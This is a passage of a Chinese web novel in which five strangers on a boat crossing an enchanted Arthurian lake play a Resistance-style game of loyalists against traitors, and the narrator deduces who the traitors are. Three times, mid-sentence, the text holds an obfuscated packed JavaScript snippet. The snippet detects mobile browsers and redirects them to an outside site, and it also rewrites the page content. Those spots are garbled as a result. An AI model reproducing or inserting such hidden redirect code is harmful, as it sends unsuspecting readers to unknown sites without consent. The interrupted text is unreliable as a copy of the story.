大约在行驶了三十分钟的位置,平静的湖面陡然腾起飓风,风声鬼哭狼嚎般传入耳朵,水波汹涌而起如突发海啸,小小的木船被裹挟其中上上下下摇晃不止,就快成大铁锅里翻炒的肉块。 “怎么回事啊?”詹姆斯惊呼。 “大家抓紧了!”董鑫喊。 船上几人不得不紧紧抓住桅杆以免被颠出去。 小个子力气小没抓住,整个人猛地朝一边滑去,壮汉在一瞬间抓住她盔甲后领,拎小猫似的把她牢牢拎在手里。 狂风刮得人睁不开眼睛,激荡的浪子打在脸上生疼,小船脆弱的木质结构更是发出近乎要断裂的声音,听得人心惊胆战! 玩这么大吗?这样下去船不得翻?那还玩什么? 骆桑刚在心头吐槽,诡异的事情就发生了 ——一顿狂轰乱炸后,整个世界又像突然被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557044|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按了暂停键,所有的事物刹那间停止了运动:湖水冻结了,涌起的波浪维持着涌起的形状,小木船被一簇波浪托起,就这么倾斜着定在半空,空气也凝固了,风声骤停! “又……又怎么了?” 唯一能动的,只有船上5人。 【我将时间短暂停止了,但最多保持十分钟。】 这时,一个温柔的女声从船头方向传来,就在那里,一个头戴花环,长发飘飘,仙气萦绕的女子自湖面而出,升至半空。 【你们好,我是湖中仙女,我来帮助你们渡过这片湖。】 * 事情朝着更加诡异的方向发展了,不仅卡美洛的传说成了真,连传说里的各路牛鬼蛇神也都成了真! 船上几人面面相觑。 董鑫小声问詹姆斯:“大叔,亚瑟王的传说里有这一趴?” 詹姆斯还没压抑住怦怦直跳的心脏,喘着气说:“噢……是……是有个湖中仙女……” 【时间不多,请仔细听好。】 湖中仙女道:【想要渡过这片湖到达彼岸,需要经过5次风暴的考验,你们的船非常脆弱,每1次风暴都将折断1根桅杆。】 折断桅杆!? 船上立刻炸锅:“只有3跟桅杆,3次就都折断了,没了帆船只会漂回去,不可能过得了5次风浪!” 【不要着急,这正是我来的目的,我可以用魔法保护你们的船不受摧毁。但是……】 湖中仙女话锋一沉,【你们之中已有2个人暗中投敌,他们并不希望去到彼岸,只想带另外3人回到出发点,杀掉。】 【也就是说,你们5人之中,3人为忠诚者,2人为投敌者。】 ——!船上几人皆一惊。 有2个……叛徒? 呵,骆桑心头一笑。 果然,限定人数,不出所料的阵营战。 【魔法需要你们的助力才会生效,船才能得到保护。但投敌者希望魔法不生效,船被破坏。】 【如果成功渡过5次风浪去到彼岸,投敌者将会被处死。但如果船回到出发点,忠诚者将被杀。】 湖中仙女挥舞魔法棒,船头一字排开出现了5个锦囊,每个锦囊上都写着一个数字,从1到5依次递增。 【你们5人按照上船的顺序编为1号至5号,请各自取走对应号码的锦囊。】 突如其来的阵营分化砸得几人措手不及,刚刚才一同携手逃生登船的战友,怎么就…… 一时没人动。 骆桑是第3个上船的,她知道自己该拿3号,但她没动。 这种规则下,信任会在顷刻间崩塌,这个时候尽量不要冒头引起注意,让人觉得你有准备。 【还剩八分钟,请不要耽误时间。】湖中仙女催促。 “那……我第一个上的,我拿1号。”詹姆斯这才颤颤巍巍挪动脚步,走上前去把1号锦囊拿在了手里。 紧跟着,董鑫拿了2号。 然后是骆桑拿3号,之后是壮汉4号,小个子5号。 都拿完后,湖中仙女道:【忠诚者的锦囊里只有数个白色鹅卵石,而投敌者的锦囊里一半是白色鹅卵石,一半是黑色鹅卵石。】 【每一次风浪,我都需要收取一定数量的白色鹅卵石来帮助魔法生效,5次风浪需要的数量依次为:2个,3个,2个,3个,3个。】 【每一次,你们需要用投票的方式选出对应数量的人来向我提供鹅卵石,选出的人每人提供1枚鹅卵石。如果我收到的鹅卵石全为白色,则魔法生效,而但凡有一枚为黑色,魔法失效。】 【自己的锦囊只有自己能打开,只有自己能查看,向我提供的鹅卵石也只有自己知道是什么颜色。】 【现在,你们可以查看自己的锦囊,以确定自己是忠诚者,还是投敌者。】 这个规则骆桑很熟悉,简直就是为她量身定做。 嗨,这辈子看来做了不少好事,死后还真就来了天堂~ “噢上帝,我是忠诚者。”詹姆斯查看完后连连点头。 “太好了大叔,我的鹅卵石也都是白色的。”董鑫高兴地冲他笑。 壮汉和小个子都没吱声,各自默默查看,面无表情。 骆桑扫了一遍4人,最后打开自己的锦囊:齐刷刷一片白。 好的,忠诚者。 目标,去彼岸。 4. 迷岸4 【现在开始第1次选人。】 湖中仙女cue流程,【从1号开始提议人选,全员投票,过半即通过,即可向我提供鹅卵石。不过半则顺延由2号提议人选再次投票,不通过再顺延至3号,以此类推。】 【但请注意:如果连续2个人的提议都得不到通过,那么第3个人的提议无需投票直接通过。】 【第1次需要2个人,剩余时间五分钟,请在五分钟之内决定2个人选。】 “你来提议好啊大叔。”董鑫高高兴兴找到詹姆斯,“我们俩都是忠诚者,就我们俩呗。” 自湖中仙女宣布规则,詹姆斯就一直冷汗连连,此刻他攥着锦囊,手紧得发抖,第一次没有回应董鑫,好像都没听见似的。 “大叔?”董鑫拍拍他。 詹姆斯这才反应过来,看向董鑫。 他和董鑫已经有过不少愉快的交谈,但这一刻,他看董鑫的眼神是警惕的。 “我们俩……可以啊。”詹姆斯朝董鑫点头,话却说得勉勉强强,“只是其他人……” 他的视线依次从其余3人身上扫过,每一处都停留一下,仿佛只要看得够仔细,就能知道对方是什么身份。 看了一圈,他依然茫然,对董鑫说,“只有我们两人的话,票数不过半呀。” 是的,至少还得再拉一票。 董鑫点点头,转过来面相其余3人:“我是忠诚者,只能提供白色鹅卵石,请你们相信我。” 又指指詹姆斯,“我一直跟这位大叔在一起的,他人很好,我也相信他没有骗我,确实是忠诚者。” “拜托你们帮我们投投票吧。” 骆桑和壮汉都没吱声,一直没出声的小个子倒哼了一声,不屑道:“谁知道真假,我不同意。” 她看向詹姆斯,“1号,我不知道你是啥,但我是忠诚者,你得选我,选我我就投票。” 忠诚者多一人,票数占优,于是谁都会说自己是忠诚者,这些表述都是无证之词。 詹姆斯没有回应小个子,也没有立刻答应董鑫,他很犹豫。 【剩余时间三分钟。】 湖中仙女催促,【如果规定时间内没有票选出结果,将由我随机选择。】 “那肯定不行……”詹姆斯听后连连摇头,“随机不行,不行不行……” 他擦了把额上的汗,深吸一口气,终于正视董鑫,“那就先我们两个,投一次试试看吧。” 董鑫点头。 “哼,白猪!”小个子狠狠一个白眼,扭头靠到一边的桅杆上。 詹姆斯不管她,对湖中仙女道:“我是1号,我提议1号和2号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 5人各自转身面朝湖水,互不可见。 湖中仙女:【1号提议1号和2号,三、二、一、请投票。】 詹姆斯和董鑫都举了手,4号壮汉也举了,另外,骆桑也举了。 好歹在时间内完成了主动人选。 “谢谢谢谢。”两人都朝骆桑和壮汉道谢。 只有5号小个子没同意,一脸鄙视地又骂了声:“一群猪。” 湖中仙女:【投票通过,请1号和2号依次上前,将一枚鹅卵石投进箱子。】 船头出现了一个暗箱,能放个拳头进去,但看不见里面。 詹姆斯走过去,从锦囊里取出一枚鹅卵石投进暗箱。 整个过程都背对着所有人,没人能看见他投了什么样的鹅卵石。 他投完回来,紧张地看着董鑫:“白的,投白的。” 董鑫连连点头:“放心吧大叔。” 便也上前投了他的鹅卵石。 随即,湖中仙女挥舞魔法棒,暗箱顿时化做一道光,游走,展开,最终展成一个球形屏障将小木船包裹其中。 【好了,我将在下一次风暴时再来。】 【那么,祝各位好运。】 说完,湖中仙女沉入了湖水。 就在她消失的下一刻,时间的暂停键像是被谁忽然解除,十分钟前发飙到一半的风浪即刻续上弦,又呈摧枯拉朽之势接着在这片湖上造次。 然而神奇的是,光束形成的球形屏障完美充当了保护罩的角色,将所有的风浪隔绝在外,包裹着仅轻微震动的小木船在滔天大浪中稳稳穿行。 不被风吹,不被浪打,船上的人甚至不需要抓紧桅杆都能站稳。 小木船套着保护罩越过层层风浪,大约过去了十分钟,风浪开始慢慢停歇。当湖面重又平静如初时,球形屏障消失了。 而此刻,甲板上,三根桅杆都还牢牢伫立! “欧耶——!成了——!”董鑫大喜,两个肉乎乎的拳头在胸前紧紧一握,又拉着詹姆斯几乎要跳起来,“我们成了大叔!” 这紧张的十分钟,詹姆斯心脏都快跳出来,现在看到结果他几乎要喜极而泣,不停地念叨着:“太好了,太好了……谢谢你小董。” 另一边,壮汉依然双臂抱怀仿佛事不关己,而小个子却显然吃惊,半张着口愣了半分钟。 片刻后,小个子直径走到董鑫跟前:“胖子,下回是不是该你选人?” 胖子?这个称呼董鑫显然不乐意买账,瞥了她一眼,没搭理。 小个子:“下回要上3个人,既然你俩都是忠诚者,那简单,加我就欧了。” 董鑫上上下下打量小个子,没好脸地:“谁知道你是个啥。” 小个子:“我说了,忠!诚!者!” 董鑫不为所动:“不是骂我们猪么?现在怎么来舔了?” “……”小个子被噎了下。 这时,骆桑开口了:“下轮可以加我,我是忠诚者。” “呸!”小个子立马给她怼回去,“就只有3个忠诚者,他们占了2个,我是第3个,没有第4个了,你撒谎!” 哟,这咬人的小白兔还真挺凶。 骆桑回:“那你怎么证明你没有撒谎?” 小个子:“让我上一次就能证明!” 倒是说得没错,这个时候据理力争也争不出个什么结果,谁也无法说服谁,只能拿事实说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557045|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>骆桑知道自己是忠诚者,那么如果3人组里没有她,就一定会有投敌者,1,2,5三人的话是一定要坏事的。 不过桅杆有3根,断2根依然能够到达彼岸,也就意味着,5次选人,可以错2次。这2次的容错机会,就是用来辨别身份的。 于是骆桑没有再和小个子争辩。 没多会儿,湖面上又起了风暴,小木船开始颠簸,第二轮的选人要开始了。 小木船在风浪中摇曳了一会儿,世界就再度被按下暂停键,湖中仙女浮出水面。 【现在开始第2次选人,从2号开始,规则同上。】 【剩余时间十分钟,请在十分钟之内决定3个人选。】 “胖子你倒是放个屁啊!”董鑫一直没给个准话,小个子急了,不依不饶地盯住他,盯得他无处可逃。 董鑫显得十分为难,却听詹姆斯劝道:“她这么坚持,说不定,真的是?” 这话叫董鑫诧异,但他看了看詹姆斯认真的表情,原本的不屑一顾渐渐收回去,变成了思索。 片刻后,他对小个子道:“既然大叔都帮你说话了,那行,带你一次,但要是出了问题,就是你的责任。” 他们已有3人,已经可以绑票,无需再征求剩下2人的意见。 于是董鑫直接向湖中仙女陈述:“我是2号,我提议1号、2号和5号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 5人各自转身。 湖中仙女:【2号提议1号、2号和5号,三、二、一、请投票。】 举手的有3人,也只有3人:詹姆斯、董鑫和小个子。 骆桑和壮汉没举。 这是显而易见的,5人中3好2坏,选3人就必须精准选到3个好,留下2个坏,才算选对了。任何1个没被选到的人,但凡自认是好,都不可能认可选出的3人,不可能投同意票。 所以骆桑和壮汉都不能投票,但凡投了,就相当于承认自己是投敌者。 湖中仙女:【投票通过,请1号、2号和5号依次上前,将一枚鹅卵石投进箱子。】 暗箱出现,詹姆斯和董鑫如法炮制很快投完了鹅卵石,小个子紧随其后,也干干脆脆完成了投石。 湖中仙女挥舞魔法棒,暗箱再度化作球形屏障将小木船包裹。 【好了,我将在下一次风暴时再来。】 【那么,祝各位好运。】 便再度消失。 风暴的继续如期而至,球形屏障也依旧担当着保护的职责,小木船悠闲地朝前漂着。 但骆桑紧紧抓着桅杆,她知道,这一次,不会有那么顺利。 球形屏障在强大的风压和水压中支撑出一片空间,但它看起来似乎没有上一次那么牢固,时不时被挤压出一个凹陷。然后,就在某一刻,它再无法支持一下子爆裂开,狂风卷着巨浪便瞬间席卷毫无遮挡的小木船! 小木船在风浪中跌跌撞撞近乎散架,没能坚持多久,“咔嚓”一声,一根桅杆,折断了。 5. 迷岸5 强烈风暴中,小木船跌跌撞撞,一行人狼狈熬着,直到过去大约十分钟,风暴渐渐停歇,才终于能喘口气。 颠簸停止,甲板上断掉的一根桅杆便显得尤为刺眼,它的上半截连同那一面帆,已不知被狂风卷去了哪里。 剩下的两面帆还在工作,小木船还在前行。 “你果然是投敌者。”站直身体后,董鑫指着小个子。 小个子还跪趴在甲板上,听到声音抬起脸来,一脸的茫然,好像还没反应过来发生了什么。然后她转头,看到了就剩半截的桅杆,眼中的茫然渐渐变成不可置信。 “我……我投的白色呀……”她轻念出声。 没人应她。 她看看董鑫,董鑫对她耸了个肩:“反正,再也不会有人选你了。” 又看看詹姆斯,詹姆斯失望地摇着头。 小个子发了下呆,然后扶着桅杆站起来,看向詹姆斯和董鑫的眼神骤然从疑惑变为敌视:“艹,你们两个谁投的黑?谁丫的在装?” 董鑫一声冷笑:“少栽赃,自己露出了狐疑尾巴,还当大家是傻子呢。” 詹姆斯叹了口气,不做评价,转而对骆桑道:“骆小姐,接下来该你选人了吧,你要是忠诚者,就在我跟小董里选就可以了。” “放屁!”小个子蹭蹭蹭几步走到骆桑跟前把詹姆斯隔开,“你别听他放屁,我才是忠诚者,我只有白的,刚才的黑绝对是他们投的!是他们栽赃我!你要是好人就选我!” 董鑫:“呵呵,自己坏了事就胡搅蛮缠,真没品。我跟大叔明明都是好人,要不第一次怎么成功的?怎么可能信你。” 嘴炮战开启,骆桑一只耳朵听一边,暂时都没回应。 很快,第三波风暴来临,几人在风浪中等来了湖中仙女。 【现在开始第3次选人,从3号开始,规则同上。】 【剩余时间十分钟,请在十分钟之内决定2个人选。】 骆桑沉默着思考,几人的视线都落在她身上,满是期待。 这一轮,她的选择很关键,她信谁,很关键。 “首先,我自己是忠诚者。”片刻后,骆桑道,“在我的视角,我选择自己,加一个我认为最像忠诚者的人,是最合理的。但如果这样,我想我很难获得3票支持,因为你们很难相信我,更难相信我对另一个人的判断。” “我相信你啊!”小个子强势插嘴,“只要你选我,我绝对投票!” 然后直奔参言最少的4号壮汉,“我不指望1和2,你给我们投一票我们就有3票了。” 壮汉瞥了眼小个子,依旧面无表情不置可否。 “你认真点,输了可是要死的!”小个子鞭挞他。 壮汉指尖挠挠脸,终于开金口吐出句回应:“但你没能证明你是忠诚者啊。” “……”小个子如遭雷击,半天没吭出声来。 她有些无助地再度把目光投向骆桑,期望骆桑能说点什么。 “我刚才没有说完。”骆桑的确把发言继续了下去,“看吧,已经折了一根桅杆的情况下,大家都会更加谨慎,更加难以相信别人,很难拉到票。” “首先带4是不可能的,他没有努力争取过,怎么都带不到他头上。5说信我,可带5的话,大概只有3、5两票。而带1和2的其中之一的话,因为1和2都未必信我,说不好最后只能获得我自己的1票。” 她看向詹姆斯,“你虽然向我发了邀请函,但就算我选你,投票的时候你也未必会举手。因为你和5号不同,5号别无选择,你那里却有着更优的选择,你只是不好意思开口向我提这个要求而已。” 詹姆斯没有反驳,默认了骆桑的说法。 “所以,2人组,只要有我3号在,就没有现实可行的解。” 骆桑露出无奈,“但如果在我这里投票无法通过,就要轮到4号来选人,4号的身份在我这里是纯未知,他会怎么选我完全无法预料。而且按照规则,如果4号也没能获得通过,5号就直接得到了点兵点将的权利,无需投票她随便选一个就作数,这……” “这还不好吗?我肯定选你啊!”小个子激动道,就差没大喊:让我选让我选! “……这风险太大了。”骆桑缓缓把后半句话说完,直接忽略掉了小个子插进来的话。 小个子满眼的期待迅速冷却。 “所以,我一定要在我的这轮把人选定下来。” 骆桑总结,“所以,我不能选我自己,我只能选已经成功过一次的,1号和2号。” ——!晴天霹雳,小个子连连往后退了好几步。 骆桑:“1号和2号的组合目前公信力最高,1号和2号也相互信任,这样选的话,最起码能获得1、2、3三票,包通过。” “并且,包成功。” “狗屁……”小个子气得笑了起来,“哈哈哈……大猪头。” 骆桑全然不受打扰,继续着自己的思路:“我算过,只要1号和2号再成功一次,忠诚者方就是包赢。” “总共5次选人,2次选2人,3次选3人,我们运气好,选到了两个忠诚者来组2人组,成功过掉2次风暴,那么剩下的3次风暴只需要依次测验剩下的3人即可。” “剩下的3人出1个忠诚者,两次失败的机会,最差先失败2次,第3次也肯定就能对了。我们现在排除了5,之后再在我跟4里面排除一个就可以了。” 她看向詹姆斯和董鑫,郑重地问:“我算得没错吧,只要你们两个再成功一次,忠诚者方是不是就必赢?” 詹姆斯连连点头:“对对对,骆小姐说得对,是这样的。那我们已经赢了啊!” 董鑫也认可,握着肉拳头似要提前庆祝胜利。 “哈哈哈哈——!”小个子爆笑,“那你们就等死吧!到时候看看那两头猪究竟是谁,看你们怎么把自己给蠢死!我反正不怕死!” 说着,“啪”地一声把自己的锦囊摔在甲板上,转身走到船尾,一副“老娘不陪你们玩了”的架势。 董鑫:“呵,骗不到人气急败坏。” 骆桑权当没听见,对湖中仙女道:“我是3号,我提议1号和2号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 5号撂挑子不干了,4人各自转身准备投票。 湖中仙女:【3号提议1号和2号,三、二、一、请投票。】 还在参与对局的4人全都投票了。 湖中仙女:【投票通过,请1号和2号依次上前,将一枚鹅卵石投进箱子。】 皆大欢喜,詹姆斯和董鑫第三次投石。 之后的流程同前两次一样,球形屏障形成后,湖中仙女丢下两句话便消失,小木船继续接受风暴的洗礼。 骆桑静静坐在甲板上,面色微沉,只在一个瞬间瞥了眼独自呆在船尾的小个子。 十分钟,平稳度过,小木船安好,剩下的两根桅杆依然□□。 第3次组队,成功。 “赢了赢了,已经赢了!”董鑫止不住笑意横飞。 这次该4号壮汉选人了,詹姆斯对他说:“那么,你就选1、2、4吧。” “选1、2、3吧。”骆桑却把话截抢了去,“为了保证成功,上一轮我都没选自己,我肯定比4号更像忠诚者。” 她转向詹姆斯和董鑫,“我比4号优先,应该先上,对的吧,1号和2号?” 两人互看一眼,然后詹姆斯坦言:“骆小姐,和4号相比,我确实更相信你,你在为忠诚者方赢而努力。只要4号选1、2、3,我会投票。” 董鑫跟着点头:“我也会投票。” 骆桑笑了,对壮汉道:“看吧,你要是执意让自己加入,1号和2号未必会投票。” 压力落到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557046|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮汉身上。 他没吱声,双臂横抱,手指在胳膊上一下下点弹。 没一会儿,第4次风暴准时来临,湖中仙女再度出现。 【现在开始第4次选人,从4号开始,规则同上。】 【剩余时间十分钟,请在十分钟之内决定3个人选。】 壮汉冷漠的气场会让人自然而然远离,于是这是提议人选之前,最安静的一次。 足足两分钟,壮汉独自思索,没有人说话。 “你们必须投票。”两分钟后,壮汉对詹姆斯和董鑫说。 命令式的口吻。 “不投,就得5号来选人,你们想让她带队?” 一个重磅炸弹炸得詹姆斯和董鑫双双失语。 壮汉看都不看骆桑一眼,直径走到湖中仙女跟前。 “反正次数够,总能对一次,不如在我这里过一组,说不定成了呢?” “我是4号,我提议1号、2号和4号。” 这壮汉平时不说话,脑子其实清醒得很,不会做提议1、2、3这种认黑行为。 骆桑抿唇。 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 骆桑没有转身做投票准备。 湖中仙女:【4号提议1号、2号和4号,三、二、一、请投票。】 1、2、4都举了。 不出所料。 湖中仙女:【投票通过,请1号、2号和4号依次上前,将一枚鹅卵石投进箱子。】 投石完成后,湖中仙女消失,小木船在球形屏障的保护下前行。 颠簸,非常颠簸,球形屏障甚至都没能撑过一分钟就支离破碎。 第4次组队,失败。 平稳下来后,甲板上的桅杆只剩最后一根。 最后一根桅杆,最后一次组队,胜败在此一举。 “好了,4是投敌者,就只剩1、2、3了。”董鑫说。 詹姆斯:“可问题是……”他看向船尾。 问题是,这回轮到5号小个子选人了,她却半点没有要回来担起职责的意思,背对着几人悠闲地坐在船尾,而她丢掉的锦囊还孤零零地躺在甲板上。 骆桑想,这游戏可真够敬业,这么大的风浪都没给那锦囊卷走。 “小姑娘,你可以按照你的想法来选人。”詹姆斯试图同小个子交谈。 却没有任何回应。 “哎呀这可麻烦了。”骆桑露出一脸焦急,“5号不来提议的话,就不能投票,不能通过组队也不能轮到下一个人提议,会一直卡在这里。” “一直卡在这里会怎么样呢?”詹姆斯有点慌。 骆桑:“肯定是等到时间截止被随机选择呀!随机选择怎么可能选到3个对的?要是选到5号她连鹅卵石都不投怎么办?” ——!这可真是最大的坏消息! “那肯定不行!绝对不能随机!”詹姆斯和董鑫都慌了起来,“那怎么办?” 骆桑皱着眉抱怨:“小小年纪脾气怎么这么臭?算了,是我非要选1、2才把她气跑的,也该我来想办法。” 她走过去捡起小个子扔掉的锦囊,“你们等等,我去把她哄回来。” 啊?这……还能哄回来? 詹姆斯和董鑫面面相觑。 骆桑端着笑走到船尾,并排坐到小个子身旁,很贴心地把锦囊往她手里塞。 另外3人都在船头这边,隔出了一段距离,都很好奇这要怎么哄,但没人冒然过去听一耳朵。3人都是汉子,船尾那情形像姐妹俩在说私房话似的,不好去打扰,更怕弄巧成拙坏了3号的主意。 的确是在说私房话,小个子原本十分拒绝,伸手就要把锦囊推开,张口就要骂,却听骆桑用极低的音量在她耳边悄声说: “我知道你是忠诚者。想赢吗?想赢就听我的。” 6. 迷岸6 小个子提溜着锦囊走回船头时,3个汉子都惊了。 不到五分钟,这就给哄回来了? “3号承认她是猪了。”小个子有种翻身做主的得意,那眼神和那站姿仿佛都在说:你们终于发现我是对的回来求我了吧。 “对对对,是我猪了。”骆桑只管赔笑。 詹姆斯和董鑫:“……” “时间不多了,快选人吧。”骆桑催促。 小个子白她一眼,吊着嗓子:“1号和2号我一个都不信,在我眼里他们两个都是投敌者。他们就是故意的,只有他们两个的时候就投白,骗人相信他们是忠诚者,但只要加了别人就投黑,加谁就污谁。” “所以我这里只有一种提议:3、4、5。” 3、4、5?! 这串数字一念出来,好几人都要惊掉下巴。 骆桑替她着急:“妹子,你这样选人的话,谁给你投票呀?” 壮汉依旧不表态,董鑫撇撇嘴耸了个肩,詹姆斯甚至失笑:“这玩笑开得可真是……” 但他们都很淡定,反正5号只是完成选人,投票通不过也是白瞎,接着1号再选就是。 这显然无人响应。 “急毛线。”小个子却不慌,“我先来说个硬道理,说给在场的忠诚者听,想活命就给我仔细听好。” “你们有没有算过,让随机选的话,5个人里精准选出3个忠诚者的概率是多少?我算了,3/5乘以2/4乘以1/3等于1/10,非常非常低。” “这么低的概率,要我是投敌者,我肯定乐意随机。所以3号苦口婆心劝我回来选人,她就100%是忠诚者。这一点你们认不认?” 詹姆斯跟着算了下概率,点头道:“没错,随机选对的概率极低,你说得有道理,3号这么做,就肯定是忠诚者。” 董鑫不屑:“本来就只剩3号是忠诚者了呀,算这个有什么意义?” “怎么没有意义?” 小个子两步站到那二人跟前,身板娇小却气场十足,铿锵有力地质问他俩道,“不是一个道理吗,我请问,如果我是投敌者,为什么要回来选人?3号凭什么劝得动我?我回来这个行为,难道不足以证明我是忠诚者吗?” “……!”詹姆斯和董鑫皆在一瞬间无言。 小个子:“我是忠诚者,被两个猪队友给气死了,打定主意不回来的,反正不相信我就赢不了,不如让湖中仙女随机选,让这两头猪去死。” “但是3号告诉我,只要我回来,无论选谁,只要选了人没让随机,忠诚者的赢面都会大大提高,我就会成为100%的忠诚者,同伴必须信我。” “我想了想,是这么回事,于是就回来了。” 船上的气氛忽地变得紧张起来,这种紧张不是来源于这至关重要的选人,而是来源于一直和谐共处走到此刻,友谊的桥梁却马上要崩塌的两个人 ——詹姆斯和董鑫,自第一轮成功过后就以双好人自居,但如果3号和5号占掉了2个忠诚者的坑,那么…… 忽然间,他们看向彼此的眼神,盈上疑惑,怀疑,和恐惧。 “忠诚者的赢面,大概可以这么算。” 小个子继续,“只要我选了人,我和3号就都证明了忠诚者的身份,那么1、2、4中就只剩1个忠诚者,这一点是确定的。” “我3选1选一个我相信的,也就是3、4、5,如果4真是最后那个忠诚者,他会投票,而只要3也相信他,也投了,就是3票通过,就能赢。” “而如果4不是,那么1、2中就还有一个忠诚者,那个忠诚者一定不会投票,而这个时候如果3也没投,那投票就不能通过,1、2中的那个忠诚者就还有机会选人,就看谁能说动我和3号了。” “所以算来算去的关键点就是……” 小个子看向骆桑,“3号会不会投这一票。” “啊?” 忽然被cue到,骆桑面露紧张,“要我来决定吗?4号……emm……” 她注视着壮汉,托着下巴,好似十分为难。 那表情看起来,她投票的可能性不大。 “反正我就这么选了,过不过你决定吧。” 小个子也不劝,干干脆脆向湖中仙女报告,“我是5号,我提议3号、4号和5号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 至关重要的一轮投票,所有人都仔细做好投票准备。 湖中仙女:【5号提议3号、4号和5号,三、二、一、请投票。】 举着手的人转回身看票时,整个人都石化。 董鑫举着一只手忙着数票,可他怎么数都数不出3张,只有两只手举着,除了他,另一只手是4号的。 3、4、5的人选,投票者为2和4,5号提出的人选,她自己,却没投…… 看到票型的瞬间,董鑫的脸刷地白了,他愣呆呆地看向没举手的5号,满眼都是诧异和惊恐。 4号壮汉也呆住了,同时看向5号小个子。 而同样看到投票结果的骆桑,嘴角悄然弯起一个弧度,小声吐出三个俏皮的字: “逮到了~” * 风暴涌起的湖面还处在凝固状态,静止的浓雾包裹着小木船,而船上的气氛更加凝固,于是整艘船,连同船上的人,都像被冻在了一块干冰里。 湖中仙女:【投票未通过,未通过次数为1次。】 【请继续选人,从1号开始。】 【剩余时间重置为十分钟,请在十分钟之内决定3个人选。】 听到提醒,詹姆斯从愣神中反应过来,朝一边移了两步。 他看见了董鑫举着的手,他在,远离董鑫。 董鑫浑身都在抖,两排牙齿上下打颤,怎么努力都吐不出一个字来。 3、4、5组队,他2号投了同意,这是认黑,没得洗了。 “妹子真厉害,干得漂亮。”骆桑冲小个子鼓掌。 不料被小个子嫌弃:“少卖乖,明明是你让我这么说的。” 这下几人更震惊了,齐齐看向骆桑。 都是……3号的安排? 全场注视下,骆桑收起玩笑,往前两步,站到正中。 宽大的铁网状盔甲里,她的身型更显清瘦,但脚步却从容,目光平稳而坚定。 “这个对局的规则,十分类似于我从前玩过的一个多人游戏:《抵抗组织》。” 骆桑从头道来,“游戏分为蓝方和红方,蓝方类似于我们的忠诚者方,而红方类似于投敌者方。组队做任务,蓝方必须投支持,红方可投支持可投反对,只要有一票反对,任务即失败。5轮任务,成功3次蓝方胜,失败3次红方胜。” “是不是一模一样?” “这种阵营对抗的游戏,设计者必须考虑平衡性,否则一方明显强于另一方,游戏就没有可玩性。选择组队都是投票制,票数过半组队才能通过,然而蓝方比红方人多,比如我们这个局是3:2,蓝方在投票上明显占优。” “那要怎么来平衡游戏呢?最有效的办法就是制造信息差。蓝方虽然人多,却信息少,互相不认识,容易相互怀疑一盘散沙;红方虽然人少,却彼此知道,能配合得起来。” “这样,就公平了。” “在我玩过的阵营对抗游戏里,一般都会在游戏开始时有一个天黑闭眼的环节,红方就是在这个时候互相确认身份的。可在我们这个对局里,却没有这一趴,每人领到属于自己的锦囊确认好身份后,就直接开始选人了。” “我就一直觉得奇怪,两个投敌者,难道真的互相不知道对方是谁吗?” “我实在不敢这么相信,于是我开始怀疑,这一趴是不是被挪到了游戏开始之前。也就是说,在我们上船之前,投敌者就已经定好了,并且已经互认。” “好家伙,这么一盘,一堆之前就觉得奇怪的细节全给串起来了,也全都变得合理。” 骆桑用审视的目光看向董鑫:“第一次觉得奇怪,是你帮助詹姆斯逃上船,你明明没什么战斗力,干不过那些拿剑的,自己能跑掉就不错了,非要带一个行动迟缓的病人,这也太老好人了吧。” “第二次觉得奇怪,是4号带来一大群杀手时,我跟詹姆斯忙着研究怎么开船,你却似乎一点都不着急,反而更希望等4号和他带着的那个人上船。就好像你事先就知道这船开不了,得等人齐了自动开。” “当然这只是些小疑惑,并不能证明什么,可4号……就更奇怪了。” 她转向壮汉:“之前投湖的那个疯子就是你带上来的,论外貌你们可能生活在不同的大洲,论言行更是风马牛不相及。毫无交集,你却帮助他上船,在他投湖的时候反应也很大,当时是想阻止他跳下去对吧?” “后来船回去了,你又下船去找了个人来,就好像你知道,船上必须有5个人。” “你不仅知道船上必须有5个人,你还知道这船只能有5个人,第6个人,上不来。” 